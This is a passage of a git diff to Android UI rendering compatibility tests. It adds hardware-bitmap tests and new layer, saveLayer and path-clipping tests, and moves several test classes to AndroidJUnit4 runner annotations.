+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.res.Resources;
+import android.graphics.BitmapRegionDecoder;
+import android.graphics.Color;
+import android.graphics.Matrix;
+import android.graphics.Paint;
+import android.graphics.Rect;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.NinePatchDrawable;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.support.test.filters.MediumTest;
+import android.uirendering.cts.bitmapcomparers.ExactComparer;
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.util.DisplayMetrics;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class HardwareBitmapTests extends ActivityTestBase {
+
+    private Resources mRes;
+
+    private static final BitmapFactory.Options HARDWARE_OPTIONS = createHardwareOptions();
+
+    private static BitmapFactory.Options createHardwareOptions() {
+        BitmapFactory.Options options = new BitmapFactory.Options();
+        options.inPreferredConfig = Bitmap.Config.HARDWARE;
+        return options;
+    }
+
+    @Before
+    public void setup() {
+        mRes = getActivity().getResources();
+    }
+
+    @Test
+    public void testDecodeResource() {
+        createTest().addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+            Bitmap hardwareBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot,
+                    HARDWARE_OPTIONS);
+            canvas.drawBitmap(hardwareBitmap, 0, 0, new Paint());
+        }, true).runWithVerifier(new GoldenImageVerifier(getActivity(),
+                R.drawable.golden_robot, new MSSIMComparer(0.95)));
+    }
+
+    @Test
+    public void testBitmapRegionDecode() throws IOException {
+        InputStream inputStream = mRes.openRawResource(R.drawable.robot);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(inputStream, false);
+        createTest().addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+            Bitmap hardwareBitmap = decoder.decodeRegion(new Rect(10, 15, 34, 39),
+                    HARDWARE_OPTIONS);
+            canvas.drawBitmap(hardwareBitmap, 0, 0, new Paint());
+        }, true).runWithVerifier(new GoldenImageVerifier(getActivity(),
+                R.drawable.golden_headless_robot, new MSSIMComparer(0.95)));
+    }
+
+    @Test
+    public void testBitmapConfigFromRGB565() {
+        testBitmapCopy(R.drawable.robot, Bitmap.Config.RGB_565, Bitmap.Config.HARDWARE);
+    }
+
+    @Test
+    public void testBitmapConfigFromARGB8888() {
+        testBitmapCopy(R.drawable.robot, Bitmap.Config.ARGB_8888, Bitmap.Config.HARDWARE);
+    }
+
+    @Test
+    public void testBitmapConfigFromA8() {
+        Bitmap b = Bitmap.createBitmap(32, 32, Bitmap.Config.ALPHA_8);
+        // we do not support conversion from A8
+        assertNull(b.copy(Bitmap.Config.HARDWARE, false));
+    }
+
+    @Test
+    public void testBitmapConfigFromIndex8() {
+        testBitmapCopy(R.drawable.index_8, null, Bitmap.Config.HARDWARE);
+    }
+
+    @Test
+    public void testBitmapConfigFromHardwareToHardware() {
+        testBitmapCopy(R.drawable.robot, Bitmap.Config.HARDWARE, Bitmap.Config.HARDWARE);
+    }
+
+    @Test
+    public void testBitmapConfigFromHardwareToARGB8888() {
+        testBitmapCopy(R.drawable.robot, Bitmap.Config.HARDWARE, Bitmap.Config.ARGB_8888);
+    }
+
+    @Test
+    public void testSetDensity() {
+        createTest().addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+            Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot);
+            bitmap.setDensity(DisplayMetrics.DENSITY_LOW);
+            canvas.drawBitmap(bitmap, 0, 0, null);
+        }, true).addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+            Bitmap hardwareBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot,
+                    HARDWARE_OPTIONS);
+            hardwareBitmap.setDensity(DisplayMetrics.DENSITY_LOW);
+            canvas.drawBitmap(hardwareBitmap, 0, 0, null);
+        }, true).runWithComparer(new ExactComparer());
+    }
+
+    @Test
+    public void testNinePatch() {
+        createTest().addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+            InputStream is = mRes.openRawResource(R.drawable.blue_padded_square);
+            NinePatchDrawable ninePatch = (NinePatchDrawable) Drawable.createFromResourceStream(
+                    mRes, null, is, null, HARDWARE_OPTIONS);
+            ninePatch.setBounds(0, 0, width, height);
+            ninePatch.draw(canvas);
+        }, true).runWithVerifier(new GoldenImageVerifier(getActivity(),
+                R.drawable.golden_hardwaretest_ninepatch, new MSSIMComparer(0.95)));
+    }
+
+    @Test
+    public void testCreateIdentityBitmap() {
+        Bitmap hardwareBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot,
+                HARDWARE_OPTIONS);
+        Bitmap newBitmap = Bitmap.createBitmap(hardwareBitmap);
+        assertEquals(hardwareBitmap, newBitmap);
+    }
+
+    @Test
+    public void testCreateScaledBitmap() {
+        createTest().addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+            Bitmap hardwareBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot,
+                    HARDWARE_OPTIONS);
+            Bitmap scaled = Bitmap.createScaledBitmap(hardwareBitmap, 24, 24, false);
+            assertEquals(Bitmap.Config.HARDWARE, scaled.getConfig());
+            canvas.drawBitmap(scaled, 0, 0, null);
+        }, true).runWithVerifier(new GoldenImageVerifier(getActivity(),
+                R.drawable.golden_hardwaretest_create_scaled, new MSSIMComparer(0.9)));
+    }
+
+    @Test
+    public void testCreateSubsetBitmap() {
+        createTest().addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+            Bitmap hardwareBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot,
+                    HARDWARE_OPTIONS);
+            Matrix matrix = new Matrix();
+            matrix.setRotate(90);
+            Bitmap cropped = Bitmap.createBitmap(hardwareBitmap, 7, 7, 30, 30);
+            assertEquals(Bitmap.Config.HARDWARE, cropped.getConfig());
+            canvas.drawBitmap(cropped, 0, 0, null);
+        }, true).runWithVerifier(new GoldenImageVerifier(getActivity(),
+                R.drawable.golden_hardwaretest_create_subset, new MSSIMComparer(0.9)));
+    }
+
+    @Test
+    public void testCreateTransformedBitmap() {
+        createTest().addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+            Bitmap hardwareBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot,
+                    HARDWARE_OPTIONS);
+            Matrix matrix = new Matrix();
+            matrix.setRotate(90);
+            Bitmap transformed = Bitmap.createBitmap(hardwareBitmap, 7, 7, 30, 30, matrix, false);
+            assertEquals(Bitmap.Config.HARDWARE, transformed.getConfig());
+            canvas.drawBitmap(transformed, 0, 0, null);
+        }, true).runWithVerifier(new GoldenImageVerifier(getActivity(),
+                R.drawable.golden_hardwaretest_create_transformed, new MSSIMComparer(0.9)));
+    }
+
+
+    @Test
+    public void testCompressHardware() {
+        Bitmap hardwareBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot,
+                HARDWARE_OPTIONS);
+        ByteArrayOutputStream stream = new ByteArrayOutputStream();
+        assertTrue(hardwareBitmap.compress(Bitmap.CompressFormat.PNG, 50, stream));
+        Bitmap decoded = BitmapFactory.decodeStream(
+                new ByteArrayInputStream(stream.toByteArray()));
+        createTest().addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+            canvas.drawColor(Color.CYAN);
+            canvas.drawBitmap(hardwareBitmap, 0, 0, null);
+        }, true).addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+            canvas.drawColor(Color.CYAN);
+            canvas.drawBitmap(decoded, 0, 0, null);
+        }, true).runWithComparer(new MSSIMComparer(0.99));
+
+    }
+
+    @Test
+    public void testHardwareExtractAlpha() {
+        Bitmap bitmap = Bitmap.createBitmap(50, 50, Bitmap.Config.ARGB_8888);
+        bitmap.eraseColor(Color.argb(127, 250, 0, 0));
+        bitmap.setPixel(25, 25, Color.BLUE);
+
+        Bitmap hwBitmap = bitmap.copy(Bitmap.Config.HARDWARE, false);
+        Bitmap alphaBitmap = hwBitmap.extractAlpha();
+        assertEquals(Bitmap.Config.ALPHA_8, alphaBitmap.getConfig());
+        assertTrue(Color.alpha(alphaBitmap.getPixel(25, 25)) >= 254);
+        assertEquals(127, Color.alpha(alphaBitmap.getPixel(40, 40)));
+    }
+
+    private void testBitmapCopy(int id, Bitmap.Config from, Bitmap.Config to) {
+        BitmapFactory.Options options = new BitmapFactory.Options();
+        options.inScaled = false;
+        options.inPreferredConfig = from;
+        Bitmap bitmap = BitmapFactory.decodeResource(getActivity().getResources(), id, options);
+        assertEquals(from, bitmap.getConfig());
+
+        createTest().addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+            canvas.drawColor(Color.CYAN);
+            canvas.drawBitmap(bitmap, 0, 0, null);
+        }, true).addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+            canvas.drawColor(Color.CYAN);
+            Bitmap copy = bitmap.copy(to, false);
+            assertNotNull(copy);
+            assertEquals(to, copy.getConfig());
+            canvas.drawBitmap(copy, 0, 0, null);
+        }, true).runWithComparer(new MSSIMComparer(0.99));
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/InfrastructureTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/InfrastructureTests.java
index 212e666..ee46601 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/InfrastructureTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/InfrastructureTests.java
@@ -15,22 +15,25 @@
  */
 package android.uirendering.cts.testclasses;
 
-import android.graphics.Point;
-import android.test.suitebuilder.annotation.MediumTest;
-import android.uirendering.cts.R;
-
 import android.graphics.Color;
+import android.graphics.Point;
 import android.graphics.Rect;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.BitmapComparer;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
 import android.uirendering.cts.testinfrastructure.ViewInitializer;
-import android.view.View;
+
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @MediumTest
+@RunWith(AndroidJUnit4.class)
 public class InfrastructureTests extends ActivityTestBase {
 
     @Test
@@ -46,6 +49,7 @@
      * by verifying that two paths that should render differently *do* render
      * differently.
      */
+    @LargeTest
     @Test
     public void testRenderSpecIsolation() {
         CanvasClient canvasClient = (canvas, width, height) -> {
@@ -64,7 +68,11 @@
             }
         };
         createTest()
-                .addCanvasClient(canvasClient)
+                // Because of the inverseComparer, we can't use Picture because
+                // software w/ picture = software w/o picture (same for hardware).
+                // (The inverseComparer assumes that there are only two render paths are they
+                // are different.)
+                .addCanvasClientWithoutUsingPicture(canvasClient)
                 .runWithComparer(inverseComparer);
     }
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
index 4f99378..ed0110a 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
@@ -16,26 +16,42 @@
 
 package android.uirendering.cts.testclasses;
 
-import android.annotation.ColorInt;
+import static org.junit.Assert.assertEquals;
+
+import android.animation.ObjectAnimator;
+import android.animation.ValueAnimator;
+import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.ColorMatrix;
 import android.graphics.ColorMatrixColorFilter;
+import android.graphics.Matrix;
 import android.graphics.Paint;
+import android.graphics.Point;
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffXfermode;
+import android.graphics.Rect;
+import android.graphics.Region.Op;
+import android.support.annotation.ColorInt;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
 import android.support.test.runner.AndroidJUnit4;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.ColorCountVerifier;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
+import android.uirendering.cts.bitmapverifiers.RectVerifier;
+import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.ViewInitializer;
 import android.view.Gravity;
 import android.view.View;
 import android.view.ViewTreeObserver;
-import android.uirendering.cts.R;
 import android.widget.FrameLayout;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.CountDownLatch;
+
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class LayerTests extends ActivityTestBase {
@@ -59,6 +75,34 @@
     }
 
     @Test
+    public void testLayerPaintSimpleAlphaWithHardware() {
+        @ColorInt
+        final int expectedColor = Color.rgb(255, 128, 128);
+        createTest()
+                .addLayout(R.layout.simple_red_layout, (ViewInitializer) view -> {
+                    view.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+
+                    // reduce alpha, so that overdraw will result in a different color
+                    view.setAlpha(0.5f);
+                })
+                .runWithVerifier(new ColorVerifier(expectedColor));
+    }
+
+    @Test
+    public void testLayerPaintSimpleAlphaWithSoftware() {
+        @ColorInt
+        final int expectedColor = Color.rgb(255, 128, 128);
+        createTest()
+                .addLayout(R.layout.simple_red_layout, (ViewInitializer) view -> {
+                    view.setLayerType(View.LAYER_TYPE_SOFTWARE, null);
+
+                    // reduce alpha, so that overdraw will result in a different color
+                    view.setAlpha(0.5f);
+                })
+                .runWithVerifier(new ColorVerifier(expectedColor));
+    }
+
+    @Test
     public void testLayerPaintColorFilter() {
         // Red, fully desaturated. Note that it's not 255/3 in each channel.
         // See ColorMatrix#setSaturation()
@@ -97,6 +141,67 @@
                 .runWithVerifier(new ColorVerifier(expectedColor));
     }
 
+    @LargeTest
+    @Test
+    public void testLayerClear() {
+        ViewInitializer initializer = new ViewInitializer() {
+            ObjectAnimator mAnimator;
+            @Override
+            public void initializeView(View view) {
+                FrameLayout root = (FrameLayout) view.findViewById(R.id.frame_layout);
+                root.setAlpha(0.5f);
+
+                View child = new View(view.getContext());
+                child.setBackgroundColor(Color.BLUE);
+                child.setTranslationX(10);
+                child.setTranslationY(10);
+                child.setLayoutParams(
+                        new FrameLayout.LayoutParams(50, 50));
+                child.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+                root.addView(child);
+
+                mAnimator = ObjectAnimator.ofInt(child, "translationY", 0, 20);
+                mAnimator.setRepeatMode(ValueAnimator.REVERSE);
+                mAnimator.setRepeatCount(ValueAnimator.INFINITE);
+                mAnimator.setDuration(200);
+                mAnimator.start();
+            }
+            @Override
+            public void teardownView() {
+                mAnimator.cancel();
+            }
+        };
+
+        createTest()
+                .addLayout(R.layout.frame_layout, initializer, true)
+                .runWithAnimationVerifier(new ColorCountVerifier(Color.WHITE, 90 * 90 - 50 * 50));
+    }
+
+    @Test
+    public void testAlphaLayerChild() {
+        ViewInitializer initializer = new ViewInitializer() {
+            @Override
+            public void initializeView(View view) {
+                FrameLayout root = (FrameLayout) view.findViewById(R.id.frame_layout);
+                root.setAlpha(0.5f);
+
+                View child = new View(view.getContext());
+                child.setBackgroundColor(Color.BLUE);
+                child.setTranslationX(10);
+                child.setTranslationY(10);
+                child.setLayoutParams(
+                        new FrameLayout.LayoutParams(50, 50));
+                child.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+                root.addView(child);
+            }
+        };
+
+        createTest()
+                .addLayout(R.layout.frame_layout, initializer)
+                .runWithVerifier(new RectVerifier(Color.WHITE, 0xff8080ff,
+                        new Rect(10, 10, 60, 60)));
+    }
+
     @Test
     public void testLayerInitialSizeZero() {
         createTest()
@@ -122,6 +227,7 @@
 
     @Test
     public void testLayerResizeZero() {
+        final CountDownLatch fence = new CountDownLatch(1);
         createTest()
                 .addLayout(R.layout.frame_layout, view -> {
                     FrameLayout root = (FrameLayout) view.findViewById(R.id.frame_layout);
@@ -148,11 +254,234 @@
                                 root.getChildAt(0).requestLayout();
                                 root.getChildAt(1).getLayoutParams().height = 0;
                                 root.getChildAt(1).requestLayout();
+                                root.getViewTreeObserver().removeOnPreDrawListener(this);
+                                root.post(fence::countDown);
+                            } else {
+                                root.postInvalidate();
                             }
                             return true;
                         }
                     });
-                }, true)
+                }, true, fence)
                 .runWithVerifier(new ColorVerifier(Color.WHITE, 0 /* zero tolerance */));
     }
+
+    @Test
+    public void testSaveLayerClippedWithColorFilter() {
+        // verify that renderer can draw nested clipped layers with chained color filters
+        createTest()
+            .addCanvasClient((canvas, width, height) -> {
+                Paint redPaint = new Paint();
+                redPaint.setColor(0xffff0000);
+                Paint firstLayerPaint = new Paint();
+                float[] blueToGreenMatrix = new float[20];
+                blueToGreenMatrix[7] = blueToGreenMatrix[18] = 1.0f;
+                ColorMatrixColorFilter blueToGreenFilter = new ColorMatrixColorFilter(blueToGreenMatrix);
+                firstLayerPaint.setColorFilter(blueToGreenFilter);
+                Paint secondLayerPaint = new Paint();
+                float[] redToBlueMatrix = new float[20];
+                redToBlueMatrix[10] = redToBlueMatrix[18] = 1.0f;
+                ColorMatrixColorFilter redToBlueFilter = new ColorMatrixColorFilter(redToBlueMatrix);
+                secondLayerPaint.setColorFilter(redToBlueFilter);
+                // The color filters are applied starting first with the inner layer and then the
+                // outer layer.
+                canvas.saveLayer(40, 5, 80, 70, firstLayerPaint, Canvas.CLIP_TO_LAYER_SAVE_FLAG);
+                canvas.saveLayer(5, 40, 70, 80, secondLayerPaint, Canvas.CLIP_TO_LAYER_SAVE_FLAG);
+                canvas.drawRect(10, 10, 70, 70, redPaint);
+                canvas.restore();
+                canvas.restore();
+            })
+            .runWithVerifier(new RectVerifier(Color.WHITE, Color.GREEN, new Rect(40, 40, 70, 70)));
+    }
+
+    // Note: This test will fail for Skia pipeline, but that is OK.
+    // TODO: delete this test when Skia pipeline is default and modify next test
+    // testSaveLayerUnclippedWithColorFilterSW to run for both HW and SW
+    @Test
+    public void testSaveLayerUnclippedWithColorFilterHW() {
+        // verify that HW can draw nested unclipped layers with chained color filters
+        createTest()
+            .addCanvasClient((canvas, width, height) -> {
+                Paint redPaint = new Paint();
+                redPaint.setColor(0xffff0000);
+                Paint firstLayerPaint = new Paint();
+                float[] blueToGreenMatrix = new float[20];
+                blueToGreenMatrix[7] = blueToGreenMatrix[18] = 1.0f;
+                ColorMatrixColorFilter blueToGreenFilter =
+                      new ColorMatrixColorFilter(blueToGreenMatrix);
+                firstLayerPaint.setColorFilter(blueToGreenFilter);
+                Paint secondLayerPaint = new Paint();
+                float[] redToBlueMatrix = new float[20];
+                redToBlueMatrix[10] = redToBlueMatrix[18] = 1.0f;
+                ColorMatrixColorFilter redToBlueFilter =
+                      new ColorMatrixColorFilter(redToBlueMatrix);
+                secondLayerPaint.setColorFilter(redToBlueFilter);
+                canvas.saveLayer(40, 5, 80, 70, firstLayerPaint, 0);
+                canvas.saveLayer(5, 40, 70, 80, secondLayerPaint, 0);
+                canvas.drawRect(10, 10, 70, 70, redPaint);
+                canvas.restore();
+                canvas.restore();
+            }, true)
+            // HWUI pipeline does not support a color filter for unclipped save layer and draws
+            // as if the filter is not set.
+            .runWithVerifier(new RectVerifier(Color.WHITE, Color.RED, new Rect(10, 10, 70, 70)));
+    }
+
+    @Test
+    public void testSaveLayerUnclippedWithColorFilterSW() {
+        // verify that SW can draw nested unclipped layers with chained color filters
+        createTest()
+            .addCanvasClient((canvas, width, height) -> {
+                Paint redPaint = new Paint();
+                redPaint.setColor(0xffff0000);
+                Paint firstLayerPaint = new Paint();
+                float[] blueToGreenMatrix = new float[20];
+                blueToGreenMatrix[7] = blueToGreenMatrix[18] = 1.0f;
+                ColorMatrixColorFilter blueToGreenFilter =
+                    new ColorMatrixColorFilter(blueToGreenMatrix);
+                firstLayerPaint.setColorFilter(blueToGreenFilter);
+                Paint secondLayerPaint = new Paint();
+                float[] redToBlueMatrix = new float[20];
+                redToBlueMatrix[10] = redToBlueMatrix[18] = 1.0f;
+                ColorMatrixColorFilter redToBlueFilter =
+                    new ColorMatrixColorFilter(redToBlueMatrix);
+                secondLayerPaint.setColorFilter(redToBlueFilter);
+                canvas.saveLayer(40, 5, 80, 70, firstLayerPaint, 0);
+                canvas.saveLayer(5, 40, 70, 80, secondLayerPaint, 0);
+                canvas.drawRect(10, 10, 70, 70, redPaint);
+                canvas.restore();
+                canvas.restore();
+            }, false)
+            .runWithVerifier(new SamplePointVerifier(
+                new Point[] {
+                    // just outside of rect
+                    new Point(9, 9), new Point(70, 10), new Point(10, 70), new Point(70, 70),
+                    // red rect
+                    new Point(10, 10), new Point(39, 39),
+                    // black rect
+                    new Point(40, 10), new Point(69, 39),
+                    // blue rect
+                    new Point(10, 40), new Point(39, 69),
+                    // green rect
+                    new Point(40, 40), new Point(69, 69),
+                },
+                new int[] {
+                    Color.WHITE, Color.WHITE, Color.WHITE, Color.WHITE,
+                    Color.RED, Color.RED,
+                    Color.BLACK, Color.BLACK,
+                    Color.BLUE, Color.BLUE,
+                    Color.GREEN, Color.GREEN,
+                }));
+    }
+
+    @Test
+    public void testSaveLayerClippedWithAlpha() {
+        // verify that renderer can draw nested clipped layers with different alpha
+        createTest() // picture mode is disable due to bug:34871089
+            .addCanvasClient((canvas, width, height) -> {
+                Paint redPaint = new Paint();
+                redPaint.setColor(0xffff0000);
+                canvas.saveLayerAlpha(40, 5, 80, 70, 0x7f, Canvas.CLIP_TO_LAYER_SAVE_FLAG);
+                canvas.saveLayerAlpha(5, 40, 70, 80, 0x3f, Canvas.CLIP_TO_LAYER_SAVE_FLAG);
+                canvas.drawRect(10, 10, 70, 70, redPaint);
+                canvas.restore();
+                canvas.restore();
+            })
+            .runWithVerifier(new RectVerifier(Color.WHITE, 0xffffE0E0, new Rect(40, 40, 70, 70)));
+    }
+
+    @Test
+    public void testSaveLayerUnclippedWithAlpha() {
+        // verify that renderer can draw nested unclipped layers with different alpha
+        createTest() // picture mode is disable due to bug:34871089
+            .addCanvasClient((canvas, width, height) -> {
+                Paint redPaint = new Paint();
+                redPaint.setColor(0xffff0000);
+                canvas.saveLayerAlpha(40, 5, 80, 70, 0x7f, 0);
+                canvas.saveLayerAlpha(5, 40, 70, 80, 0x3f, 0);
+                canvas.drawRect(10, 10, 70, 70, redPaint);
+                canvas.restore();
+                canvas.restore();
+            })
+            .runWithVerifier(new SamplePointVerifier(
+                new Point[]{
+                    // just outside of rect
+                    new Point(9, 9), new Point(70, 10), new Point(10, 70), new Point(70, 70),
+                    // red rect outside both layers
+                    new Point(10, 10), new Point(39, 39),
+                    // pink rect overlapping one of the layers
+                    new Point(40, 10), new Point(69, 39),
+                    // pink rect overlapping one of the layers
+                    new Point(10, 40), new Point(39, 69),
+                    // pink rect overlapping both layers
+                    new Point(40, 40), new Point(69, 69),
+                },
+                new int[]{
+                    Color.WHITE, Color.WHITE, Color.WHITE, Color.WHITE,
+                    Color.RED, Color.RED,
+                    0xffff8080, 0xffff8080,
+                    0xffffC0C0, 0xffffC0C0,
+                    0xffffE0E0, 0xffffE0E0,
+                }));
+    }
+
+    @Test
+    public void testSaveLayerUnclipped_restoreBehavior() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    //set identity matrix
+                    Matrix identity = new Matrix();
+                    canvas.setMatrix(identity);
+                    final Paint p = new Paint();
+
+                    canvas.saveLayer(0, 0, width, height, p, 0);
+
+                    //change matrix and clip to something different
+                    canvas.clipRect(0, 0, width >> 1, height >> 1, Op.INTERSECT);
+                    Matrix scaledMatrix = new Matrix();
+                    scaledMatrix.setScale(4, 5);
+                    canvas.setMatrix(scaledMatrix);
+                    assertEquals(scaledMatrix, canvas.getMatrix());
+
+                    canvas.drawColor(Color.BLUE);
+                    canvas.restore();
+
+                    //check if identity matrix is restored
+                    assertEquals(identity, canvas.getMatrix());
+
+                    //should draw to the entire canvas, because clip has been removed
+                    canvas.drawColor(Color.RED);
+                })
+                .runWithVerifier(new ColorVerifier(Color.RED));
+    }
+
+    @Test
+    public void testSaveLayerClipped_restoreBehavior() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    //set identity matrix
+                    Matrix identity = new Matrix();
+                    canvas.setMatrix(identity);
+                    final Paint p = new Paint();
+
+                    canvas.saveLayer(0, 0, width, height, p, Canvas.CLIP_TO_LAYER_SAVE_FLAG);
+
+                    //change matrix and clip to something different
+                    canvas.clipRect(0, 0, width >> 1, height >> 1, Op.INTERSECT);
+                    Matrix scaledMatrix = new Matrix();
+                    scaledMatrix.setScale(4, 5);
+                    canvas.setMatrix(scaledMatrix);
+                    assertEquals(scaledMatrix, canvas.getMatrix());
+
+                    canvas.drawColor(Color.BLUE);
+                    canvas.restore();
+
+                    //check if identity matrix is restored
+                    assertEquals(identity, canvas.getMatrix());
+
+                    //should draw to the entire canvas, because clip has been removed
+                    canvas.drawColor(Color.RED);
+                })
+                .runWithVerifier(new ColorVerifier(Color.RED));
+    }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayoutTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayoutTests.java
index d69126c..3d1c10e 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayoutTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayoutTests.java
@@ -17,15 +17,18 @@
 
 import android.graphics.Color;
 import android.graphics.Rect;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
-import android.uirendering.cts.R;
-
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @MediumTest
+@RunWith(AndroidJUnit4.class)
 public class LayoutTests extends ActivityTestBase {
     @Test
     public void testSimpleRedLayout() {
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
index a3145ef..d78972f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
@@ -16,28 +16,37 @@
 
 package android.uirendering.cts.testclasses;
 
+import static org.junit.Assert.assertNotNull;
+
 import android.content.pm.PackageManager;
 import android.graphics.Color;
 import android.graphics.Paint;
 import android.graphics.Path;
 import android.graphics.Point;
 import android.graphics.Typeface;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
 import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
 import android.uirendering.cts.testinfrastructure.CanvasClientDrawable;
 import android.uirendering.cts.testinfrastructure.ViewInitializer;
+import android.uirendering.cts.util.WebViewReadyHelper;
 import android.view.View;
 import android.view.ViewGroup;
 import android.webkit.WebView;
-import android.uirendering.cts.R;
-import org.junit.Test;
 
-import static org.junit.Assert.assertNotNull;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
 
 @MediumTest
+@RunWith(AndroidJUnit4.class)
 public class PathClippingTests extends ActivityTestBase {
     // draw circle with hole in it, with stroked circle
     static final CanvasClient sTorusDrawCanvasClient = (canvas, width, height) -> {
@@ -63,18 +72,38 @@
         canvas.restore();
     };
 
+    // draw circle with hole in it, by path operations + path clipping
+    static final CanvasClient sTorusClipOutCanvasClient = (canvas, width, height) -> {
+        canvas.save();
+
+        Path path1 = new Path();
+        path1.addCircle(30, 30, 50, Path.Direction.CW);
+
+        Path path2 = new Path();
+        path2.addCircle(30, 30, 30, Path.Direction.CW);
+
+        canvas.clipPath(path1);
+        canvas.clipOutPath(path2);
+        canvas.drawColor(Color.BLUE);
+
+        canvas.restore();
+    };
+
     @Test
     public void testCircleWithCircle() {
         createTest()
                 .addCanvasClient("TorusDraw", sTorusDrawCanvasClient, false)
                 .addCanvasClient("TorusClip", sTorusClipCanvasClient)
-                .runWithComparer(new MSSIMComparer(0.90));
+                .addCanvasClient("TorusClipOut", sTorusClipOutCanvasClient)
+                .runWithVerifier(new GoldenImageVerifier(getActivity(),
+                        R.drawable.pathclippingtest_torus, new MSSIMComparer(0.95)));
     }
 
     @Test
     public void testCircleWithPoints() {
         createTest()
                 .addCanvasClient("TorusClip", sTorusClipCanvasClient)
+                .addCanvasClient("TorusClipOut", sTorusClipOutCanvasClient)
